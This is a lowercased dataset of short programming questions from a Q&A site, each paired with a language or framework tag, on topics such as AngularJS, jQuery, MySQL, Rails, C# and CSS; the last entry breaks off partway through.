angular 1 json pipe causing lexer error: unterminated quote  i m displaying data in json format using angular1 s json pipe:   <pre><code>&lt;pre&gt;{{myjsondata | json}}&lt;/pre&gt; </code></pre>   <code>myjsondata</code> contains single quotes. for example:   <pre><code>{ info :  info about men s and womens shoes } </code></pre>   i get this parsing error:    <pre><code>angular.js:14199 error: [$parse:lexerr] lexer error: unterminated quote at columns 732-749 [ info about ] in expression... </code></pre>   looks like the single quotes cause the error.    but  i cannot manually escape the single quotes because i don t know what the data looks like.     i simply get the data from an api call and display it.,angularjs
create a function to change text color  i have this function   <pre><code>function example() {     var a = 10;     var b = 20;     var minus = a - b;      if (a &gt; b) {         $( #result ).html( +  + minus);         $( #result ).css( color    red )     } } </code></pre>   i ve updated my code to the below  but it isn t working properly.   <pre><code>function calcul(x  y) {     var x;     var y;     var minus = x - y;     if (x &gt; y) {         $( #result ).html( +  + minus);         $( #result ).css( color    red )     } }  function example() {     var a = 10;     var b = 20;      calcul(a  b);     } </code></pre>,jquery
storing data in appstate and session  in my appstart.cshtml i fetch some data from the database  do calculations  serialize/deserialize json strings and such  etc  and i store the result in a couple appstate-variables by doing something like the following:(c#)   <pre><code>appstate[ myvar1 ]= astring ; appstate[ myvar2 ]=anarray; </code></pre>   these variables are accessed frequently and are a bit heavy to define so i thought something like this would make sense rather than creating the data from scratch every time it s needed. even if the optimization isn t needed it still makes sense to me since it also increases readability and definitely maintainability by not having the same code in a bunch of places where that data is needed.    likewise  i do similar actions on a per-user basis by putting data in session whenver a user logs in  e.g.   <pre><code>session[ uservar1 ]= mystring ; session[ uservar2 ]=myaray; </code></pre>   however  i ve just read that we should never rely on that the data stored in these still exist when we want to read them because they re stored in the server-memory which might have been cleared. is this true  so when we want to access one of these we should first check whether it s null or not  and if we re lucky it s not null and we can use it straight away  otherwise we set it again. is this how data stored in appstate and session are supposed to be used  and if so  what would be a good way of re-setting them if they re null  i suppose doing something like creating a function which sets them if they re null,asp.net
printing a file at a given path/location  i want to do the following in java:   <ol> <li>i have a file path on local system(   doc\reports.pdf )</li> <li>give it to printer or set the printer to print this file at this location.</li> <li>pop print dialogue to the user and let him choose the properties for print.</li> <li>print the file.</li> </ol>   i tried using <code>java.print.awt</code> package and tried <code>jasperprint</code> to do this but did not seem to have worked.,java
css menu with indivual images for first li level and on li:hover  i m working on a css menu. i m trying to edit existing code and i need to do a css menu with indivual images for every item of the first level <code>&lt;li&gt;</code> like so:    <pre><code>.leftmenu a.link1 { padding-top: 42px; background:transparent url( ../images/home_on.gif );   } .leftmenu a.link2 { background:transparent url( ../images/serv_off.gif ); } .leftmenu a.link3 { background:transparent url( ../images/know_off.gif ); } .leftmenu a.link4 { background:transparent url( ../images/exp_off.gif ); } .leftmenu a.link5 { background:transparent url( ../images/ref_off.gif ); } .leftmenu a.link6 { background:transparent url( ../images/links_off.gif ); } .leftmenu a.link7 { background:transparent url( ../images/contact_off.gif ); } .leftmenu a.link8 { background:transparent url( ../images/blog_off.gif ); }  .leftmenu a.link1:hover { background:transparent url( ../images/home_on.gif ) -163px -42px no-repeat; background-position:0 0; } .leftmenu a.link2:hover { background:transparent url( ../images/serv_on.gif ) -163px -28px  no-repeat;   background-position:0 0;  } .leftmenu a.link3:hover {background:transparent url( ../images/know_on.gif ) -163px -28px  no-repeat; background-position:0 0; } .leftmenu a.link4:hover { background:transparent url( ../images/exp_on.gif ) -163px -28px  no-repeat; background-position:0 0; } .leftmenu a.link5:hover { background:transparent url( ../images/ref_on.gif ) -163px -28px  no-repeat; background-position:0 0;  } .leftmenu a.link6:hover { background:transparent url( ../images/links_on.gif ) -163px -28px  no-repeat; background-position:0 0;  } .leftmenu a.link7:hover {background:transparent url( ../images/contact_on.gif ) -163px -28px  no-repeat; background-position:0 0;  } .leftmenu a.link8:hover {background:transparent url( ../images/blog_on.gif ) -163px -28px  no-repeat; background-position:0 0;  } </code></pre>   now i m trying to add a flyout to this menu and the only way i could find to do it was like this:    <pre><code>li.list2:hover + ul.sub-menu{   display: block; position: absolute; left: 14px; text-indent: 0px!important;  background-color: black; margin: 0px;  list-style: none; top: -20px; border-radius: 10px; } ul.sub-menu{ display: none; } </code></pre>   there is also this css being added to the menu:    <pre><code>.leftmenu{ width:163px; margin-left:7px; position: relative; z-index: 0;} .leftmenu ul{ margin:0px; padding:0px;  } .leftmenu  a { display:block; width:163px; height:0; padding-top:28px; color: white;  text-indent:-3000px; } </code></pre>   this seems to be working ok except that when i roll off the menu item set to display the sub-menu items the sub menu simply dissapears  maybe it s a z-index issue but i don t think so     i don t mind even recoding it from scratch i maybe in jquery if someone can point me in the direction of a nice tutorial to style each of the first menu items indivual colors/images.,css
rails getting started help  i ve been following the rails 3 getting started guide and there was this note in the guide that i didn t understand:   <blockquote>    in previous versions of rails  you had to use <code>&lt;%=h post.name %&gt;</code> so   that any html would be escaped before being inserted into the page. in   rails 3.0  this is now the default. to get unescaped html  you now use   <code>&lt;%= raw post.name %&gt;</code>.  </blockquote>   i don t really get what it means by escaped html vs unescaped html. can someone explain this to me     thanks!,ruby-on-rails
how to get int value for pointer  i have a socket wraper and it has the <code>recvdata</code> that returns an <code>int</code>:   <pre><code>int recvdata(void* buff  int buffersize){     return recv(hsocket  reinterpret_cast&lt;char*&gt;(buff)  buffersize  0); } </code></pre>   also i have this webserver function <code>receiveline</code> to get an http request:   <pre><code>static string receiveline() {     socket* sock;     std::string ret;     while (1) {         char r;          switch(sock-&gt;senddata(&amp;r sizeof(r))) {         case 0: // not connected anymore;             return   ;         case -1:             if (errno == eagain) {                 return ret;             } else {                 // not connected anymore                 return   ;             }         }          ret += r;         if (r ==  \n )  return ret;     }     return ret; } </code></pre>   the problem is that in the <code>switch</code> statement i have this error:   <pre><code>socket* sock;  pointer to incomplete class type is not allowed </code></pre>,c++
creating proportions from two queries in sql  the query:   <pre><code>select year  count(*) as total from table group by year </code></pre>   gives me a list of totals per year  such as:   <pre><code>year total 2000 100 2001 120 2002 124 2003 156 </code></pre>   whereas the query:   <pre><code>select year  count(*) as male from table where gender= male  group by year </code></pre>   gives me a list of totals just for the males per year  such as:   <pre><code>year male 2000 50 2001 55 2002 60 2003 70 </code></pre>   what i desire are the proportions per year: that is <code>male/total</code> to give as output:   <pre><code>year prop 2000 0.50 2001 0.46 2002 0.48 2003 0.45 </code></pre>   how can this be done with one mysql query,mysql
find property with certain type and return it  i have an object from a class (let s call it <code>classa</code>)  and i know that it has a property object from another class (<code>classb</code>). how can i find the object with type <code>classb</code> and return it (with all it s values)    <pre><code>//classa:  int id; string name; classb subitem;  //classb:  int randomnumber; string answeroflife; </code></pre>   i wrote this function that search all the properties of <code>classa</code> for the one with propertytype <code>classb</code>. i can find the property  but then i m stuck with a <code>propertyinfo</code> object  where i really want a <code>classb</code> object with all the values.   <pre><code>classb tempobject = (classb) classaobject.findpropertytype( classb ); </code></pre>   function:   <pre><code>internal basedataobject findpropertytype(string strmember) {          foreach (propertyinfo prop in this.gettype().getproperties())         {             if (prop.propertytype.name.tostring().tolower() == strmember.tolower())                 //this is where it goes wrong!                 return (basedataobject) prop.getvalue(this null);         }         return null;     } </code></pre>   the <code>prop.getvalue(this null)</code> returns the parent (<code>classa</code>) object instead of the desired <code>classb</code> object.,c#
rails - confused by url change when model validations fail  i ve got a user resource where <code>:name</code> is a required attribute on the model.    if i try to create a new user <em>without</em> a name  then the validation fails and the error messages are displayed at the top of the form as expected  <strong>but</strong> the url of the page changes from <code>/users/new</code>  to <code>/users</code>      i hadn t noticed this behaviour until tonight when i started playing around with capybara for the first time  and was expecting the current_path after a validation failure to be <a href= http://localhost:3000/users/new  rel= nofollow >http://localhost:3000/users/new</a>    i couldn t figure out why my spec was failing:   <pre><code>it  should not create an invalid user  do   fill_in  name   :with=&gt;     click_button  create user    current_path.should == new_users_path end </code></pre>   i ve verified that it happens in all my other rails apps  so i realise this is the way rails works  but i really don t get what s going on here. why does it work like this  why does the path change from <code>new_users_path</code> to <code>users_path</code> when validations fail     this has confused me immensely,ruby-on-rails
i don t understand this jquery code  i have this jquery code:   <pre><code>$( #switcher button ).click(function (event) {     var bodyclass = this.id.split( - )[1];     $( body ).removeclass().addclass(bodyclass);     $( #switcher button ).removeclass( selected );     $(this).addclass( selected );     event.stoppropagation(); }); </code></pre>   what i don t understand the lines:   <pre><code>$( #switcher button ).removeclass( selected ); $(this).addclass( selected ); </code></pre>   i think they are doing the same thing. because  this  to me is the   #switcher button ... if i am wrong  who is  this...,jquery
mysql specific column addition  i have three tables:   <pre><code>bank_account(tran_id  pay_id  expense_id  amount  balance)  payment(pay_id  client_id  date_payment  amount)  expense(expense_id  emp_id  amount  expense)  </code></pre>   in that <code>tran_id</code> is primary key for the <code>bank_account</code> and same for the <code>pay_id</code> for <code>payment</code> and <code>expense_id</code> for the <code>expense</code> as well. in the <code>bank_account</code> when <code>pay_id</code> is there <code>expense_id</code> is null and vice versa. now i want to calculate the profit of company using <code>bank_account</code>. so how can i use the sql script to calculate (the sum of the <code>pay_id</code> based amount - the sum of the <code>expense_id</code> based amount).,mysql
why does outerheight() returns function instead of actual height   i m having a function that centers a div. it uses outerheight() to determine div s height. on one of my sites it works ok:    <img src= https://i.stack.imgur.com/va1d9.png  alt= outer height works fine >    but on the other site it returns a function:    <img src= https://i.stack.imgur.com/r1g6l.png  alt= outherheight works none  >    why does it happen  how do i make it work on both sites     thank you!,jquery
how to enable/disable the dropdowns by selecting either of the dropdows below   how to enable/disable the dropdown country and state  when i do select an option of country option the state dropdown should be disabled and the other side viceversa(when i do select the dropdown of state the dropdown of country should be disable. and also hot to move to the other jsp page when i click a submit button in jsp page syntax                         jquery select / dropdown box example   <pre><code>    &lt;script type= text/javascript  src= js/jquery.js &gt;&lt;/script&gt;      &lt;/head&gt;      &lt;body&gt;      &lt;h1&gt;jquery select / dropdown box example&lt;/h1&gt;      &lt;script type= text/javascript &gt;        $(document).ready(function(){          $( #country ).change(function () {       if($( #country option:selected ).val()){          // disable the dropdown:          $( #state ).attr( disabled    disabled );      } else {          $( #state ).removeattr( disabled );      }        });});     &lt;/script&gt;     &lt;/head&gt;&lt;body&gt;      &lt;select id= country &gt;     &lt;option value= none &gt;-- select --&lt;/option&gt;     &lt;option value= china &gt;china&lt;/option&gt;     &lt;option value= united state &gt;united state&lt;/option&gt;     &lt;option value= malaysia &gt;malaysia&lt;/option&gt;     &lt;/select&gt;     &lt;select id = state &gt;     &lt;option value = ap &gt;ap&lt;/option&gt;     &lt;option value = sp &gt;sp&lt;/select&gt;      &lt;/body&gt;     &lt;/html&gt; </code></pre>,jquery
restful route overriden by named route  when defining a resources in routes.rb in rails  i have the following problem: my resource supports the standard crud operations and has a custom function/route  which allows filtering. now this custom routes matches the edit route and jumps in before the actual restful route.    is there a way to prioritize the restful routes so that they match first    <pre><code>resources :items do   get  :category(/:level)   :action =&gt; :filter  :on =&gt; :collection  :as =&gt;  filter  end </code></pre>,ruby-on-rails
show a specific view after backgrounded  i would like to show a userid/password view after the app is backgrounded for security purposes.     how should i implement it  should i be using <code>- (void)applicationdidenterbackground:(uiapplication *)application</code>,objective-c
is it possible to make an absolutely positioned img centered horizontally   is it possible  using only css (no js)  to make an image horizontally centered with respect to its container  in a responsive-like fashion (obviously  if the container has a fixed width i could do math with pixels to get it exact)       here s a fiddle of the scenario: <a href= http://jsfiddle.net/uqxu0vtv/1/  rel= nofollow >http://jsfiddle.net/uqxu0vtv/1/</a>   <pre><code>div.somediv { padding: 150px 2% 2%; border: 1px solid #000; position: relative;}     div.somediv img { position: absolute; top: 20px; left: 35%;}  </code></pre>,css
"how do i say  add next item   instead of displaying or repeating the fields for each item over again   here is the html i have thusly:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form class= form-horizontal row-fluid  id= form1 &gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;select item&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;select tabindex= 1  data-placeholder= select here..  class= span8  id= item_name &gt;
         &lt;option value=  &gt;select product&lt;/option&gt;
         &lt;option value= category 1 &gt;botts&lt;/option&gt;
         &lt;option value= category 2 &gt;bags&lt;/option&gt;
         &lt;option value= category 3 &gt;table&lt;/option&gt;
         &lt;option value= category 4 &gt;tape&lt;/option&gt;
         &lt;option value= category 4 &gt;frame&lt;/option&gt;
       &lt;/select&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item price&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_price &gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item quantity&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_quantity  onblur= calculate(); &gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;total due&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= total_due  disabled&gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
 
   &lt;hr&gt;
 
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;select item&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;select tabindex= 1  data-placeholder= select here..  class= span8  id= item_name2 &gt;
         &lt;option value=  &gt;select product&lt;/option&gt;
         &lt;option value= category 1 &gt;botts&lt;/option&gt;
         &lt;option value= category 2 &gt;bags&lt;/option&gt;
         &lt;option value= category 3 &gt;table&lt;/option&gt;
         &lt;option value= category 4 &gt;tape&lt;/option&gt;
         &lt;option value= category 4 &gt;frame&lt;/option&gt;
       &lt;/select&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item price&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_price2 &gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item quantity&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_quantity2  onblur= calculate2(); &gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;total due&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= total_due2  disabled&gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
 
   &lt;hr&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;select item&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;select tabindex= 1  data-placeholder= select here..  class= span8  id= item_name3 &gt;
         &lt;option value=  &gt;select product&lt;/option&gt;
         &lt;option value= category 1 &gt;botts&lt;/option&gt;
         &lt;option value= category 2 &gt;bags&lt;/option&gt;
         &lt;option value= category 3 &gt;table&lt;/option&gt;
         &lt;option value= category 4 &gt;tape&lt;/option&gt;
         &lt;option value= category 4 &gt;frame&lt;/option&gt;
       &lt;/select&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item price&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_price3 &gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item quantity&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_quantity3  onblur= calculate3(); &gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;total due&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= total_due3  disabled&gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;hr&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;select item&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;select tabindex= 1  data-placeholder= select here..  class= span8  id= item_name4 &gt;
         &lt;option value=  &gt;select product&lt;/option&gt;
         &lt;option value= category 1 &gt;botts&lt;/option&gt;
         &lt;option value= category 2 &gt;bags&lt;/option&gt;
         &lt;option value= category 3 &gt;table&lt;/option&gt;
         &lt;option value= category 4 &gt;tape&lt;/option&gt;
         &lt;option value= category 4 &gt;frame&lt;/option&gt;
       &lt;/select&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item price&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_price4 &gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;item quantity&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= item_quantity4  onblur= calculate4(); &gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= control-group &gt;
     &lt;label class= control-label  for= basicinput &gt;total due&lt;/label&gt;
     &lt;div class= controls &gt;
       &lt;div class= input-append &gt;
         &lt;input type= text  placeholder= 00.000  class= span8  id= total_due4  disabled&gt;&lt;span class= add-on &gt;r&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/form&gt;</code></pre>
 </div>
 </div>",html
i want to make adialog in my app appear in time such as every 30 min every appear with new text            i want to make a dialog in my application appear in specified time such as every 30 min <br> every time with new text in the dialog,android
how to remove main list items  anchor using jquery   i have a list going like the following:   <pre><code>&lt;div id= menucontainer &gt;     &lt;ul id= menu &gt;         &lt;li&gt;&lt;a href= #1 &gt;main item 1&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= #2 &gt;main item 2&lt;/a&gt;             &lt;ul&gt;                 &lt;li&gt;&lt;a href= #21 &gt;sub item 2.1&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= #22 &gt;sub item 2.2&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= #22 &gt;sub item 2.3&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/li&gt;         &lt;li&gt;&lt;a href= #3 &gt;main item 3&lt;/a&gt;             &lt;ul&gt;                 &lt;li&gt;&lt;a href= #31 &gt;sub item 3.1&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= #32 &gt;sub item 3.2&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   i want to remove <code>&lt;a&gt;</code> tags of  main items  only.    i have tried to use   <pre><code>$( #menucontainer &gt; ul &gt; li &gt; a ).replacewith($( #menucontainer &gt; ul &gt; li &gt; a ).text()); </code></pre>   but it s removed all the anchors including sub items. i want script to do it for the first level items only  not deeper ones.,jquery
adding menu to library project  i have create a library project as well as 2 main project one is paid and the other is free in android google store. now i have an activity in library project which is common to both the other projects.    i want to add a menu item on that activity that is only visible to the paid app and is not shown in the  free app. also i want to create an activity in the paid app which is called by the library project activity. how can i call this activity from library project as the library project do not know about this activity presence,android
rails mailer: net::imap::responseparseerror: unexpected token quoted (expected atom)  i m trying to save the emails that are sent via the mailer inside the sent folder. i have the following <code>after_action</code> in order to achieve this  but each time an email is being sent i get this error <code>net::imap::responseparseerror: unexpected token quoted (expected atom)</code>.... any idea how to make this work    <pre><code>class mailer &lt; applicationmailer       include abstractcontroller::callbacks require  net/imap  after_action :save_to_sent    def save_to_sent     the_mail = mail.new     target_mailbox =  sent      imap = net::imap.new( the server address )     imap.authenticate( plain    login    password )     imap.create(target_mailbox) unless imap.list(    target_mailbox)    imap.append(target_mailbox  the_mail.to_s)    imap.logout    imap.disconnect    end end </code></pre>,ruby-on-rails
how can i remove double quotes from a string  i have a variable  currntdate  of type string     the value of the variable is <code>  2017-08-03  </code> (quotes included)    now i want to remove the double quotes <code> </code>.    how can i do that in c#,c#
jquery - how to remove element in the next li based on src  i d like to remove the hyperlikned <code>target.jpg</code> image in the next <code>li</code> when the <code>remove target image</code> is clicked. here is the html:   <pre><code>&lt;li id= remover &gt;     remove target image &lt;/li&gt;  &lt;li&gt;     &lt;a hre= /path1 &gt; &lt;img src= /path/to/img1.jpg  &gt;  &lt;/a&gt;     &lt;a hre= /path2 &gt; &lt;img src= /path/to/target.jpg  &gt;  &lt;/a&gt;     &lt;a hre= /path3 &gt; &lt;img src= /path/to/img3.jpg  &gt;  &lt;/a&gt;                       &lt;li&gt; </code></pre>   i m wondering how can i achieve this      update: please notice i want to remove only the next image (including it s containing hyperlink)  not all images on the page with that <code>src</code>.     so the result should be:   <pre><code>&lt;li id= remover &gt;     remove target image &lt;/li&gt; &lt;a href= /path1 &gt; &lt;img src= /path/to/img1.jpg &gt;  &lt;/a&gt; &lt;a href= /path3 &gt; &lt;img src= /path/to/img3.jpg &gt;  &lt;/a&gt;  </code></pre>,jquery
how to extract declarations (a .hpp file) from implementation (a .cpp file)   i was wondering if there was a tool (maybe gnu c++ compiler) to obtain from a .cpp file full of functions a .hpp file with the mentioned functions declarations.    <strong>example</strong>:    i have:<br> magic.cpp   <pre><code>int foo() { return 42; } char bar() { return  z ; } </code></pre>   and i would like to obtain this after applying the wonderful tool:<br> magic.hpp   <pre><code>int foo(); char bar(); </code></pre>,c++
fluent migrator 1.1.1.0 wont apply migration  i installed fluent migrator via nuget... i created a basic migration   <pre><code>[migration(1)] class _001_user : migration {     public override void up()      {         create.table( user );     }      public override void down()     {         delete.table( user );     } } </code></pre>   i run it with the runner and it creates the version table  but doesn t run this migration.  i used fluent migrator before and have no idea why this isn t working.  visual studio 2012  .net 4.5  sqlserver2012    output from fluent migrator runner.   <pre><code>versionmigration migrating [+] beginning transaction [+] createtable versioninfo [+] committing transaction [+] versionmigration migrated ------------------------------------------------------------------------------- versionuniquemigration migrating ------------------------------------------------------------------------------- [+] beginning transaction [+] createindex versioninfo (version) [+] altertable versioninfo [+] createcolumn versioninfo appliedon datetime [+] committing transaction [+] versionuniquemigration migrated [+] task completed. </code></pre>,.net
run a command in new console and capture output in c#  i have read the many questions on here about capturing the output from a command in c#  but they all use the <code>startinfo.useshellexecute = false</code> property to redirect output.  but this doesn t work for me because i still want the console window to open an display the output there as well.    this allows me to capture the output to a file  but doesn t display the console.   <pre><code>using system.diagnostics;  process cmd = new process(); cmd.startinfo.filename =  cmd.exe ; cmd.startinfo.arguments =  /c ping 8.8.8.8 -t ; cmd.startinfo.redirectstandardinput = true; cmd.startinfo.redirectstandardoutput = true; cmd.startinfo.useshellexecute = false; cmd.startinfo.createnowindow = true; cmd.start(); cmd.beginoutputreadline(); . . . </code></pre>   this displays the console  but doesn t allow me to capture the output.   <pre><code>using system.diagnostics;  process cmd = new process(); cmd.startinfo.filename =  cmd.exe ; cmd.startinfo.arguments =  /c ping 8.8.8.8 -t ; cmd.start(); . . . </code></pre>   my goal is to launch multiple command windows  each running a given command. however  i also want the console output saved to a log file. one log file per command windows. it is trivial to start the command windows and let them run using their own stdout  or redirect the output to a file.  but how can i do both     i have even gone as far as to try to redirect the output and launch my own winforms that look like consoles to display the output  but was stopped because each was in a separate process and could not write to the gui thread.,c#
angular extend and copy understanding  i know in javascript  ===   equal value and equal type  is controlling value and type. i have two examples in angular that i am confusing.   <pre><code> var o1 = { name:  david   age: 26  skill: {} };  var o2 = angular.copy(o1);   console.log(o2);  // output: { name:  david   age: 26  skill: {} }   console.log(o1 === o2);  // output: false   console.log(o1.skill === o2.skill);  // output: false  // o2.skill is a copy of o1.skill. they don t point to the same skill object. </code></pre>   i have another example:   <pre><code> &lt;html&gt;  &lt;body&gt;   &lt;p id= demo &gt;&lt;/p&gt; // output of z is  true    &lt;script&gt;  var x = 5;  var y = 5;  var z = (x === y);  document.getelementbyid( demo ).innerhtml = z;   &lt;/script&gt; </code></pre>        in first example why === is returning false   ===  is looking only data type and value.     x and y are pointing different area also. but === returning true.    thanks in advance,angularjs
how does rocketreach fetches email ids   i was wondering what is the underlying technology or method employed by rocketreach.co to fetch email ids  for example from linkedin  i tried few searched but could not find anything.,javascript
check if a user s rank equals any items in an array   how would you check to see if a user s rank is equal to any rank in an array     example  say the user s rank is a moderator. i would check if the users rank equals any few ranks in an array.   <pre><code>//if only it were this easy.. $ranks = array( mod    admin );     if($user_data[ rank ] === $ranks) {     //do one thing } </code></pre>   but the way i m doing it  is:   <pre><code>if($user_data[ rank ] ===  mod  || $user_data[ rank ] ===  admin ) {     //do one thing } </code></pre>   how could i make this more efficient,php
mysql select query question  i have a mysql table with two columns: a and b. there are 20 entries in that table    for 10 entries  a = 3. for the other 10 entries  a = 4.    i want to select rows such that b = 0  but i only want one from the group where a = 3  and one from the group a = 4.    the base query would be something like:   <pre><code>select * from `table_name` where b = 0 and rest_of_query </code></pre>   what should rest_of_query be,mysql
most pythonic way to extend a list to exactly a certain length   my goal is to take a list of unknown number of elements and extend/slice it to exactly <code>n</code> elements  padding lists that are too short with <code>0</code> and slicing lists that are too long.    for example   <pre><code>n = 10 foo = [1 2 3 4] print some_func(foo n)  </code></pre>   should return <code>[1 2 3 4 0 0 0 0 0 0]</code>  and   <pre><code>n = 10 foo = [1 2 3 4 5 6 7 8 9 10 11 12] print some_func(foo n) </code></pre>   should return <code>[1 2 3 4 5 6 7 8 9 10]</code>   <hr>   right now i m doing this:   <pre><code>def some_function(l  n):     l.extend([0] * n)     l = l[:n]     return l </code></pre>   but that seems inefficient. is there a more pythonic way of doing this    <hr>   <strong>edit:</strong> point of clarification  i am not trying to modify the original array  i am returning a new array that can be a shallow copy.,python
angularjs how to preload controller  i m trying to access a function on my google map (mapctrl) via  $broadcast . this works but not unless the user has loaded mapctrl first. how can i trick mapctrl to load in the background so that it will hear my broadcast     <strong>in couponctrl</strong> (where the important click is made)   <pre><code>$rootscope.$broadcast(const.map_find_location  id);  $state.go( tabs.map ); </code></pre>   <strong>in mapctrl</strong>   <pre><code>$rootscope.$on(const.map_find_location  function(id) {   var slid = id;   var smap = $scope.map;    try{     // var latlng = userservice.locationmanager.getlocationbyid(slid).getlatlng();     // smap.panto(latlng);      var loc = userservice.locationmanager.getlocationbyid(slid);     var address = loc.getfulladdress();      // $scope.map.setzoom(11); directions set s the zoom automatically     $scope.directionsdisplay.setdirections({routes:[]}); // resent display     $scope.directionsdisplay.setmap($scope.map);      var request = {       origin: new google.maps.latlng(         userservice.user.gps.coords.latitude          userservice.user.gps.coords.longitude       )        destination: address        travelmode: google.maps.directionstravelmode.driving     }      $scope.directionsservice.route(request  function(response  status) {      if (status == google.maps.directionsstatus.ok) {        $scope.directionsdisplay.setdirections(response);      }     });    } catch(e) {     console.warn(e);   } }); </code></pre>,angularjs
objective c - view behind uinavigationcontroller & tabbarcontroller  i m working on an app that uses uinavigationcontroller &amp; tabbarcontroller.<br> when i look in the nib file  i see that the  view  for a section of the tabbarcontroller is added below the uinavigationcontroller &amp; above the tab itself.    picture attached: <img src= https://i.stack.imgur.com/wpns6.png  alt= enter image description here >    how can i add that view behind the uinavigationcontroller &amp; behind tabbarcontroller <br> i m trying to make it go full screen. i m able to hide the uinavigationcontroller &amp; tabbarcontroller but the size of the view just stays the same.      thank you <br> tee,objective-c
"html hyperlink not working dreamweaver  i basically have a navigation bar on the top with 6 hyperlinks and i have coded for each of them. however the hyperlink doesnt work properly. upon further research i found that the hyperlink will be active only when clicked in a certain location. usually top-middle of text. here is the code i m using. thanks in advance for your help.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#nav {
   width: 100%;
   height: 550px;
   background-color: #ffffff;
   background-size: cover;
   background-image: url();
   border-bottom: thin solid;
   font-size: large;
   color: #ffffff;
   margin-top: 0px;
   ;
   border-bottom: thin solid #ffffff;
   font-size: large;
   color: #ffffff;
   margin-top: 0px;
   text-shadow: 0px 0px #ffffff;
 }
 
 #nav_wrapper {
   height: 66px;
   width: 100%;
   margin-left: auto;
   opacity: 0.8;
   filter: alpha (opacity=70);
   border-bottom: thin inset #000000;
   text-align: right;
   font-family:  samsungsharpsansregular regular ;
 }
 
 #nav_wrapper ul li {
   list-style: none;
   display: inline;
   font-weight: bold;
   padding: 10px;
   color: #000000;
 }
 
 #nav_wrapper a {
   color: #000000;
